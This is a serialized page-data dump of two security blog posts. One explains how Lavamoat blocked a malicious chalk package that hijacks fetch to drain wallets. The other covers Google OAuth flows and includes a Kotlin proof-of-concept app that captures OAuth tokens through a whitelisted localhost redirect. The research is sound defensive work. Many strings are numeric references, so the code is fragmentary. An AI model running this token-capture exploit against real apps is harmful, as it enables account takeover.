",{"type":23,"tag":56,"props":98191,"children":98193},{"className":98192},[],[98194],{"type":28,"value":96035},{"type":28,"value":98196},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":41,"props":98198,"children":98199},{},[98200,98212,98223,98234],{"type":23,"tag":45,"props":98201,"children":98202},{},[98203,98205,98210],{"type":28,"value":98204},"Replace ",{"type":23,"tag":56,"props":98206,"children":98208},{"className":98207},[],[98209],{"type":28,"value":33072},{"type":28,"value":98211}," function to a custom one",{"type":23,"tag":45,"props":98213,"children":98214},{},[98215,98217],{"type":28,"value":98216},"Access ",{"type":23,"tag":56,"props":98218,"children":98220},{"className":98219},[],[98221],{"type":28,"value":98222},"window.ethereum",{"type":23,"tag":45,"props":98224,"children":98225},{},[98226,98228,98233],{"type":28,"value":98227},"Call original ",{"type":23,"tag":56,"props":98229,"children":98231},{"className":98230},[],[98232],{"type":28,"value":33072},{"type":28,"value":37190},{"type":23,"tag":45,"props":98235,"children":98236},{},[98237],{"type":28,"value":98238},"Plus other actions not relevant here",{"type":23,"tag":24,"props":98240,"children":98241},{},[98242,98244,98250],{"type":28,"value":98243},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":56,"props":98245,"children":98247},{"className":98246},[],[98248],{"type":28,"value":98249},"chalk 5.6.0",{"type":28,"value":98251}," (non-malicious version) it would look like this:",{"type":23,"tag":494,"props":98253,"children":98255},{"code":98254,"language":32975,"meta":7,"className":32973,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[98256],{"type":23,"tag":56,"props":98257,"children":98258},{"__ignoreMap":7},[98259,98271,98282,98302,98318,98325],{"type":23,"tag":504,"props":98260,"children":98261},{"class":506,"line":507},[98262,98267],{"type":23,"tag":504,"props":98263,"children":98264},{"style":622},[98265],{"type":28,"value":98266},"\"chalk\"",{"type":23,"tag":504,"props":98268,"children":98269},{"style":523},[98270],{"type":28,"value":35999},{"type":23,"tag":504,"props":98272,"children":98273},{"class":506,"line":540},[98274,98278],{"type":23,"tag":504,"props":98275,"children":98276},{"style":529},[98277],{"type":28,"value":36007},{"type":23,"tag":504,"props":98279,"children":98280},{"style":523},[98281],{"type":28,"value":35999},{"type":23,"tag":504,"props":98283,"children":98284},{"class":506,"line":555},[98285,98290,98294,98298],{"type":23,"tag":504,"props":98286,"children":98287},{"style":529},[98288],{"type":28,"value":98289},"        \"navigator.userAgent\"",{"type":23,"tag":504,"props":98291,"children":98292},{"style":523},[98293],{"type":28,"value":14311},{"type":23,"tag":504,"props":98295,"children":98296},{"style":511},[98297],{"type":28,"value":2972},{"type":23,"tag":504,"props":98299,"children":98300},{"style":523},[98301],{"type":28,"value":2484},{"type":23,"tag":504,"props":98303,"children":98304},{"class":506,"line":633},[98305,98310,98314],{"type":23,"tag":504,"props":98306,"children":98307},{"style":529},[98308],{"type":28,"value":98309},"        \"navigator.userAgentData\"",{"type":23,"tag":504,"props":98311,"children":98312},{"style":523},[98313],{"type":28,"value":14311},{"type":23,"tag":504,"props":98315,"children":98316},{"style":511},[98317],{"type":28,"value":36168},{"type":23,"tag":504,"props":98319,"children":98320},{"class":506,"line":687},[98321],{"type":23,"tag":504,"props":98322,"children":98323},{"style":523},[98324],{"type":28,"value":11645},{"type":23,"tag":504,"props":98326,"children":98327},{"class":506,"line":736},[98328],{"type":23,"tag":504,"props":98329,"children":98330},{"style":523},[98331],{"type":28,"value":24361},{"type":23,"tag":24,"props":98333,"children":98334},{},[98335,98337,98343],{"type":28,"value":98336},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":56,"props":98338,"children":98340},{"className":98339},[],[98341],{"type":28,"value":98342},"navigator",{"type":28,"value":320},{"type":23,"tag":24,"props":98345,"children":98346},{},[98347,98349,98355],{"type":28,"value":98348},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":56,"props":98350,"children":98352},{"className":98351},[],[98353],{"type":28,"value":98354},"chalk v5.6.1",{"type":28,"value":98356}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":98358,"children":98359},{},[98360],{"type":23,"tag":126,"props":98361,"children":98363},{"alt":128,"src":98362},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":98365,"children":98366},{},[98367,98369,98374],{"type":28,"value":98368},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":56,"props":98370,"children":98372},{"className":98371},[],[98373],{"type":28,"value":33072},{"type":28,"value":24448},{"type":23,"tag":494,"props":98376,"children":98378},{"code":98377},"TypeError#1: Cannot define property fetch, object is not extensible\n",[98379],{"type":23,"tag":56,"props":98380,"children":98381},{"__ignoreMap":7},[98382],{"type":28,"value":98377},{"type":23,"tag":70,"props":98384,"children":98386},{"id":98385},"lavamoat-in-practice",[98387],{"type":28,"value":98388},"Lavamoat In Practice",{"type":23,"tag":24,"props":98390,"children":98391},{},[98392,98394,98401],{"type":28,"value":98393},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":92,"props":98395,"children":98398},{"href":98396,"rel":98397},"https://osec.io/reports/lavamoat_audit_final.pdf",[96],[98399],{"type":28,"value":98400},"see the audit report",{"type":28,"value":270},{"type":23,"tag":24,"props":98403,"children":98404},{},[98405],{"type":28,"value":98406},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":70,"props":98408,"children":98409},{"id":74548},[98410],{"type":28,"value":74551},{"type":23,"tag":24,"props":98412,"children":98413},{},[98414],{"type":28,"value":98415},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":98417,"children":98418},{},[98419,98421,98426],{"type":28,"value":98420},"Version pinning and ",{"type":23,"tag":56,"props":98422,"children":98424},{"className":98423},[],[98425],{"type":28,"value":97862},{"type":28,"value":98427}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":1815,"props":98429,"children":98430},{},[98431],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":98433},[98434,98437,98438,98447,98448],{"id":96050,"depth":540,"text":96053,"children":98435},[98436],{"id":97685,"depth":555,"text":97688},{"id":97696,"depth":540,"text":97699},{"id":97712,"depth":540,"text":97715,"children":98439},[98440,98442,98444,98446],{"id":97723,"depth":555,"text":98441},"1. Version pinning in package.json",{"id":97853,"depth":555,"text":98443},"2. Use npm ci",{"id":97890,"depth":555,"text":98445},"3. Implement Lavamoat",{"id":98181,"depth":555,"text":98184},{"id":98385,"depth":540,"text":98388},{"id":74548,"depth":540,"text":74551},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":98453,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98454,"description":98455,"date":98456,"author":98457,"image":98458,"isFeatured":16,"onBlogPage":16,"tags":98460,"body":98463,"_type":1838,"_id":100794,"_source":1840,"_file":100795,"_stem":100796,"_extension":1843},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[12,13],{"src":98459,"width":96019,"height":12604},"/posts/oauth-misconfigurations/title.png",[98461,98462],"oAuth","exchanges",{"type":20,"children":98464,"toc":100781},[98465,98471,98476,98482,98502,98508,98513,98526,98531,98539,98553,98562,98571,98585,98593,98604,98664,98670,98682,98731,98737,98742,98755,98762,98773,98793,98812,98833,98839,98852,98857,98863,98882,99507,99512,99525,100386,100391,100396,100402,100407,100413,100418,100431,100471,100477,100490,100495,100528,100533,100538,100563,100568,100580,100737,100742,100746,100758,100763,100767,100772,100777],{"type":23,"tag":70,"props":98466,"children":98468},{"id":98467},"exploiting-oauth",[98469],{"type":28,"value":98470},"Exploiting OAuth",{"type":23,"tag":24,"props":98472,"children":98473},{},[98474],{"type":28,"value":98475},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":82,"props":98477,"children":98479},{"id":98478},"google-authentication-flows",[98480],{"type":28,"value":98481},"Google Authentication Flows",{"type":23,"tag":24,"props":98483,"children":98484},{},[98485,98487,98493,98495,98500],{"type":28,"value":98486},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":56,"props":98488,"children":98490},{"className":98489},[],[98491],{"type":28,"value":98492},"postMessage",{"type":28,"value":98494}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":56,"props":98496,"children":98498},{"className":98497},[],[98499],{"type":28,"value":311},{"type":28,"value":98501}," to send the token back to the RP.",{"type":23,"tag":17874,"props":98503,"children":98505},{"id":98504},"gsi-new-flow",[98506],{"type":28,"value":98507},"GSI (New Flow)",{"type":23,"tag":24,"props":98509,"children":98510},{},[98511],{"type":28,"value":98512},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":350,"props":98514,"children":98515},{},[98516,98521],{"type":23,"tag":45,"props":98517,"children":98518},{},[98519],{"type":28,"value":98520},"Using FedCM API",{"type":23,"tag":45,"props":98522,"children":98523},{},[98524],{"type":28,"value":98525},"Without using FedCM API",{"type":23,"tag":24,"props":98527,"children":98528},{},[98529],{"type":28,"value":98530},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":98532,"children":98533},{},[98534],{"type":23,"tag":296,"props":98535,"children":98536},{},[98537],{"type":28,"value":98538},"FedCM Method",{"type":23,"tag":24,"props":98540,"children":98541},{},[98542,98544,98551],{"type":28,"value":98543},"The FedCM method basically follows this ",{"type":23,"tag":92,"props":98545,"children":98548},{"href":98546,"rel":98547},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[96],[98549],{"type":28,"value":98550},"user experience",{"type":28,"value":98552},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":98554,"children":98555},{},[98556,98558],{"type":28,"value":98557},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":126,"props":98559,"children":98561},{"alt":128,"src":98560},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":98563,"children":98564},{},[98565,98567],{"type":28,"value":98566},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":126,"props":98568,"children":98570},{"alt":128,"src":98569},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":98572,"children":98573},{},[98574,98576,98583],{"type":28,"value":98575},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":92,"props":98577,"children":98580},{"href":98578,"rel":98579},"https://github.com/w3c-fedid/FedCM/issues/429",[96],[98581],{"type":28,"value":98582},"FedCM auto-reauthentication",{"type":28,"value":98584},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":98586,"children":98587},{},[98588],{"type":23,"tag":296,"props":98589,"children":98590},{},[98591],{"type":28,"value":98592},"Non-FedCM Method",{"type":23,"tag":24,"props":98594,"children":98595},{},[98596,98598,98603],{"type":28,"value":98597},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":56,"props":98599,"children":98601},{"className":98600},[],[98602],{"type":28,"value":98492},{"type":28,"value":3472},{"type":23,"tag":41,"props":98605,"children":98606},{},[98607,98612,98636,98641,98652],{"type":23,"tag":45,"props":98608,"children":98609},{},[98610],{"type":28,"value":98611},"The user clicks the sign in button",{"type":23,"tag":45,"props":98613,"children":98614},{},[98615,98617,98623,98625,98630,98631],{"type":28,"value":98616},"RP opens a popup/iframe to ",{"type":23,"tag":92,"props":98618,"children":98621},{"href":98619,"rel":98620},"https://accounts.google.com/o/oauth2/v2/auth",[96],[98622],{"type":28,"value":98619},{"type":28,"value":98624}," with some important parameters like ",{"type":23,"tag":56,"props":98626,"children":98628},{"className":98627},[],[98629],{"type":28,"value":141},{"type":28,"value":430},{"type":23,"tag":56,"props":98632,"children":98634},{"className":98633},[],[98635],{"type":28,"value":39111},{"type":23,"tag":45,"props":98637,"children":98638},{},[98639],{"type":28,"value":98640},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":45,"props":98642,"children":98643},{},[98644,98646],{"type":28,"value":98645},"They get redirected to ",{"type":23,"tag":92,"props":98647,"children":98650},{"href":98648,"rel":98649},"https://accounts.google.com/gsi/transform",[96],[98651],{"type":28,"value":98648},{"type":23,"tag":45,"props":98653,"children":98654},{},[98655,98657,98662],{"type":28,"value":98656},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":56,"props":98658,"children":98660},{"className":98659},[],[98661],{"type":28,"value":98492},{"type":28,"value":98663}," (after some SYN/ACK messages)",{"type":23,"tag":17874,"props":98665,"children":98667},{"id":98666},"oauth-20-old-flow",[98668],{"type":28,"value":98669},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":98671,"children":98672},{},[98673,98675,98680],{"type":28,"value":98674},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":56,"props":98676,"children":98678},{"className":98677},[],[98679],{"type":28,"value":311},{"type":28,"value":98681}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":41,"props":98683,"children":98684},{},[98685,98689,98710,98714],{"type":23,"tag":45,"props":98686,"children":98687},{},[98688],{"type":28,"value":98611},{"type":23,"tag":45,"props":98690,"children":98691},{},[98692,98693,98698,98699,98704,98705],{"type":28,"value":98616},{"type":23,"tag":92,"props":98694,"children":98696},{"href":98619,"rel":98695},[96],[98697],{"type":28,"value":98619},{"type":28,"value":98624},{"type":23,"tag":56,"props":98700,"children":98702},{"className":98701},[],[98703],{"type":28,"value":141},{"type":28,"value":430},{"type":23,"tag":56,"props":98706,"children":98708},{"className":98707},[],[98709],{"type":28,"value":311},{"type":23,"tag":45,"props":98711,"children":98712},{},[98713],{"type":28,"value":98640},{"type":23,"tag":45,"props":98715,"children":98716},{},[98717,98718,98723,98725],{"type":28,"value":98645},{"type":23,"tag":56,"props":98719,"children":98721},{"className":98720},[],[98722],{"type":28,"value":311},{"type":28,"value":98724}," with the token in the query parameters or ",{"type":23,"tag":56,"props":98726,"children":98728},{"className":98727},[],[98729],{"type":28,"value":98730},"location.hash",{"type":23,"tag":17874,"props":98732,"children":98734},{"id":98733},"different-configurations",[98735],{"type":28,"value":98736},"Different Configurations",{"type":23,"tag":24,"props":98738,"children":98739},{},[98740],{"type":28,"value":98741},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":350,"props":98743,"children":98744},{},[98745,98750],{"type":23,"tag":45,"props":98746,"children":98747},{},[98748],{"type":28,"value":98749},"Authorized origins",{"type":23,"tag":45,"props":98751,"children":98752},{},[98753],{"type":28,"value":98754},"Authorized redirect URIs",{"type":23,"tag":24,"props":98756,"children":98757},{},[98758],{"type":23,"tag":126,"props":98759,"children":98761},{"alt":128,"src":98760},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":98763,"children":98764},{},[98765,98767,98772],{"type":28,"value":98766},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":56,"props":98768,"children":98770},{"className":98769},[],[98771],{"type":28,"value":141},{"type":28,"value":320},{"type":23,"tag":24,"props":98774,"children":98775},{},[98776,98778,98784,98786,98791],{"type":28,"value":98777},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":56,"props":98779,"children":98781},{"className":98780},[],[98782],{"type":28,"value":98783},"/oauth2/v2/auth",{"type":28,"value":98785}," by checking the ",{"type":23,"tag":56,"props":98787,"children":98789},{"className":98788},[],[98790],{"type":28,"value":39111},{"type":28,"value":98792}," query parameter.",{"type":23,"tag":24,"props":98794,"children":98795},{},[98796,98798,98803,98805,98810],{"type":28,"value":98797},"In the old flow, the ",{"type":23,"tag":56,"props":98799,"children":98801},{"className":98800},[],[98802],{"type":28,"value":311},{"type":28,"value":98804}," parameter passed in the ",{"type":23,"tag":56,"props":98806,"children":98808},{"className":98807},[],[98809],{"type":28,"value":98783},{"type":28,"value":98811}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":98813,"children":98814},{},[98815,98817,98822,98824,98831],{"type":28,"value":98816},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":56,"props":98818,"children":98820},{"className":98819},[],[98821],{"type":28,"value":311},{"type":28,"value":98823}," validation. To execute this flow, you need to specify ",{"type":23,"tag":92,"props":98825,"children":98828},{"href":98826,"rel":98827},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[96],[98829],{"type":28,"value":98830},"login_uri",{"type":28,"value":98832}," while using the SDK.",{"type":23,"tag":82,"props":98834,"children":98836},{"id":98835},"localhost-exploit",[98837],{"type":28,"value":98838},"Localhost Exploit",{"type":23,"tag":24,"props":98840,"children":98841},{},[98842,98844,98850],{"type":28,"value":98843},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":56,"props":98845,"children":98847},{"className":98846},[],[98848],{"type":28,"value":98849},"localhost",{"type":28,"value":98851}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":98853,"children":98854},{},[98855],{"type":28,"value":98856},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":17874,"props":98858,"children":98860},{"id":98859},"exploit",[98861],{"type":28,"value":98862},"Exploit",{"type":23,"tag":24,"props":98864,"children":98865},{},[98866,98868,98873,98874,98880],{"type":28,"value":98867},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":56,"props":98869,"children":98871},{"className":98870},[],[98872],{"type":28,"value":98730},{"type":28,"value":459},{"type":23,"tag":56,"props":98875,"children":98877},{"className":98876},[],[98878],{"type":28,"value":98879},"location.search",{"type":28,"value":98881},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":494,"props":98883,"children":98887},{"className":98884,"code":98885,"language":98886,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[98888],{"type":23,"tag":56,"props":98889,"children":98890},{"__ignoreMap":7},[98891,98920,98939,98946,98953,98972,98983,98994,99025,99048,99095,99102,99109,99116,99123,99143,99174,99185,99192,99199,99218,99241,99252,99271,99286,99297,99320,99355,99374,99381,99392,99415,99426,99438,99445,99452,99459,99466,99473,99500],{"type":23,"tag":504,"props":98892,"children":98893},{"class":506,"line":507},[98894,98899,98903,98907,98911,98915],{"type":23,"tag":504,"props":98895,"children":98896},{"style":511},[98897],{"type":28,"value":98898}," override",{"type":23,"tag":504,"props":98900,"children":98901},{"style":511},[98902],{"type":28,"value":1051},{"type":23,"tag":504,"props":98904,"children":98905},{"style":517},[98906],{"type":28,"value":1056},{"type":23,"tag":504,"props":98908,"children":98909},{"style":523},[98910],{"type":28,"value":1061},{"type":23,"tag":504,"props":98912,"children":98913},{"style":1012},[98914],{"type":28,"value":1066},{"type":23,"tag":504,"props":98916,"children":98917},{"style":523},[98918],{"type":28,"value":98919},"?){\n",{"type":23,"tag":504,"props":98921,"children":98922},{"class":506,"line":540},[98923,98927,98931,98935],{"type":23,"tag":504,"props":98924,"children":98925},{"style":511},[98926],{"type":28,"value":1079},{"type":23,"tag":504,"props":98928,"children":98929},{"style":523},[98930],{"type":28,"value":320},{"type":23,"tag":504,"props":98932,"children":98933},{"style":517},[98934],{"type":28,"value":1088},{"type":23,"tag":504,"props":98936,"children":98937},{"style":523},[98938],{"type":28,"value":1093},{"type":23,"tag":504,"props":98940,"children":98941},{"class":506,"line":555},[98942],{"type":23,"tag":504,"props":98943,"children":98944},{"emptyLinePlaceholder":16},[98945],{"type":28,"value":1038},{"type":23,"tag":504,"props":98947,"children":98948},{"class":506,"line":633},[98949],{"type":23,"tag":504,"props":98950,"children":98951},{"style":1106},[98952],{"type":28,"value":1109},{"type":23,"tag":504,"props":98954,"children":98955},{"class":506,"line":687},[98956,98960,98964,98968],{"type":23,"tag":504,"props":98957,"children":98958},{"style":517},[98959],{"type":28,"value":1117},{"type":23,"tag":504,"props":98961,"children":98962},{"style":523},[98963],{"type":28,"value":1122},{"type":23,"tag":504,"props":98965,"children":98966},{"style":517},[98967],{"type":28,"value":1127},{"type":23,"tag":504,"props":98969,"children":98970},{"style":523},[98971],{"type":28,"value":552},{"type":23,"tag":504,"props":98973,"children":98974},{"class":506,"line":736},[98975,98979],{"type":23,"tag":504,"props":98976,"children":98977},{"style":544},[98978],{"type":28,"value":1139},{"type":23,"tag":504,"props":98980,"children":98981},{"style":523},[98982],{"type":28,"value":552},{"type":23,"tag":504,"props":98984,"children":98985},{"class":506,"line":785},[98986,98990],{"type":23,"tag":504,"props":98987,"children":98988},{"style":517},[98989],{"type":28,"value":1151},{"type":23,"tag":504,"props":98991,"children":98992},{"style":523},[98993],{"type":28,"value":1156},{"type":23,"tag":504,"props":98995,"children":98996},{"class":506,"line":813},[98997,99001,99005,99009,99013,99017,99021],{"type":23,"tag":504,"props":98998,"children":98999},{"style":523},[99000],{"type":28,"value":1164},{"type":23,"tag":504,"props":99002,"children":99003},{"style":517},[99004],{"type":28,"value":1169},{"type":23,"tag":504,"props":99006,"children":99007},{"style":523},[99008],{"type":28,"value":526},{"type":23,"tag":504,"props":99010,"children":99011},{"style":622},[99012],{"type":28,"value":1178},{"type":23,"tag":504,"props":99014,"children":99015},{"style":523},[99016],{"type":28,"value":576},{"type":23,"tag":504,"props":99018,"children":99019},{"style":622},[99020],{"type":28,"value":1187},{"type":23,"tag":504,"props":99022,"children":99023},{"style":523},[99024],{"type":28,"value":1192},{"type":23,"tag":504,"props":99026,"children":99027},{"class":506,"line":851},[99028,99032,99036,99040,99044],{"type":23,"tag":504,"props":99029,"children":99030},{"style":523},[99031],{"type":28,"value":1200},{"type":23,"tag":504,"props":99033,"children":99034},{"style":511},[99035],{"type":28,"value":796},{"type":23,"tag":504,"props":99037,"children":99038},{"style":523},[99039],{"type":28,"value":1209},{"type":23,"tag":504,"props":99041,"children":99042},{"style":1012},[99043],{"type":28,"value":1214},{"type":23,"tag":504,"props":99045,"children":99046},{"style":523},[99047],{"type":28,"value":537},{"type":23,"tag":504,"props":99049,"children":99050},{"class":506,"line":869},[99051,99055,99059,99063,99067,99071,99075,99079,99083,99087,99091],{"type":23,"tag":504,"props":99052,"children":99053},{"style":523},[99054],{"type":28,"value":1164},{"type":23,"tag":504,"props":99056,"children":99057},{"style":517},[99058],{"type":28,"value":1231},{"type":23,"tag":504,"props":99060,"children":99061},{"style":523},[99062],{"type":28,"value":526},{"type":23,"tag":504,"props":99064,"children":99065},{"style":622},[99066],{"type":28,"value":1178},{"type":23,"tag":504,"props":99068,"children":99069},{"style":523},[99070],{"type":28,"value":576},{"type":23,"tag":504,"props":99072,"children":99073},{"style":622},[99074],{"type":28,"value":1248},{"type":23,"tag":504,"props":99076,"children":99077},{"style":511},[99078],{"type":28,"value":1253},{"type":23,"tag":504,"props":99080,"children":99081},{"style":598},[99082],{"type":28,"value":1258},{"type":23,"tag":504,"props":99084,"children":99085},{"style":511},[99086],{"type":28,"value":1263},{"type":23,"tag":504,"props":99088,"children":99089},{"style":622},[99090],{"type":28,"value":1268},{"type":23,"tag":504,"props":99092,"children":99093},{"style":523},[99094],{"type":28,"value":1273},{"type":23,"tag":504,"props":99096,"children":99097},{"class":506,"line":878},[99098],{"type":23,"tag":504,"props":99099,"children":99100},{"style":523},[99101],{"type":28,"value":1282},{"type":23,"tag":504,"props":99103,"children":99104},{"class":506,"line":1221},[99105],{"type":23,"tag":504,"props":99106,"children":99107},{"style":523},[99108],{"type":28,"value":1291},{"type":23,"tag":504,"props":99110,"children":99111},{"class":506,"line":1276},[99112],{"type":23,"tag":504,"props":99113,"children":99114},{"emptyLinePlaceholder":16},[99115],{"type":28,"value":1038},{"type":23,"tag":504,"props":99117,"children":99118},{"class":506,"line":1285},[99119],{"type":23,"tag":504,"props":99120,"children":99121},{"style":1106},[99122],{"type":28,"value":1308},{"type":23,"tag":504,"props":99124,"children":99125},{"class":506,"line":1294},[99126,99130,99134,99138],{"type":23,"tag":504,"props":99127,"children":99128},{"style":511},[99129],{"type":28,"value":1317},{"type":23,"tag":504,"props":99131,"children":99132},{"style":523},[99133],{"type":28,"value":1322},{"type":23,"tag":504,"props":99135,"children":99136},{"style":598},[99137],{"type":28,"value":601},{"type":23,"tag":504,"props":99139,"children":99140},{"style":622},[99141],{"type":28,"value":99142}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":504,"props":99144,"children":99145},{"class":506,"line":1302},[99146,99150,99154,99158,99162,99166,99170],{"type":23,"tag":504,"props":99147,"children":99148},{"style":511},[99149],{"type":28,"value":1317},{"type":23,"tag":504,"props":99151,"children":99152},{"style":523},[99153],{"type":28,"value":1344},{"type":23,"tag":504,"props":99155,"children":99156},{"style":598},[99157],{"type":28,"value":601},{"type":23,"tag":504,"props":99159,"children":99160},{"style":517},[99161],{"type":28,"value":1353},{"type":23,"tag":504,"props":99163,"children":99164},{"style":523},[99165],{"type":28,"value":1358},{"type":23,"tag":504,"props":99167,"children":99168},{"style":517},[99169],{"type":28,"value":662},{"type":23,"tag":504,"props":99171,"children":99172},{"style":523},[99173],{"type":28,"value":1367},{"type":23,"tag":504,"props":99175,"children":99176},{"class":506,"line":1311},[99177,99181],{"type":23,"tag":504,"props":99178,"children":99179},{"style":517},[99180],{"type":28,"value":1376},{"type":23,"tag":504,"props":99182,"children":99183},{"style":523},[99184],{"type":28,"value":1381},{"type":23,"tag":504,"props":99186,"children":99187},{"class":506,"line":1334},[99188],{"type":23,"tag":504,"props":99189,"children":99190},{"style":523},[99191],{"type":28,"value":875},{"type":23,"tag":504,"props":99193,"children":99194},{"class":506,"line":1370},[99195],{"type":23,"tag":504,"props":99196,"children":99197},{"emptyLinePlaceholder":16},[99198],{"type":28,"value":1038},{"type":23,"tag":504,"props":99200,"children":99201},{"class":506,"line":1384},[99202,99206,99210,99214],{"type":23,"tag":504,"props":99203,"children":99204},{"style":511},[99205],{"type":28,"value":1406},{"type":23,"tag":504,"props":99207,"children":99208},{"style":511},[99209],{"type":28,"value":1051},{"type":23,"tag":504,"props":99211,"children":99212},{"style":517},[99213],{"type":28,"value":1415},{"type":23,"tag":504,"props":99215,"children":99216},{"style":523},[99217],{"type":28,"value":1030},{"type":23,"tag":504,"props":99219,"children":99220},{"class":506,"line":1392},[99221,99225,99229,99233,99237],{"type":23,"tag":504,"props":99222,"children":99223},{"style":517},[99224],{"type":28,"value":1428},{"type":23,"tag":504,"props":99226,"children":99227},{"style":523},[99228],{"type":28,"value":1433},{"type":23,"tag":504,"props":99230,"children":99231},{"style":598},[99232],{"type":28,"value":601},{"type":23,"tag":504,"props":99234,"children":99235},{"style":1440},[99236],{"type":28,"value":1443},{"type":23,"tag":504,"props":99238,"children":99239},{"style":523},[99240],{"type":28,"value":537},{"type":23,"tag":504,"props":99242,"children":99243},{"class":506,"line":1400},[99244,99248],{"type":23,"tag":504,"props":99245,"children":99246},{"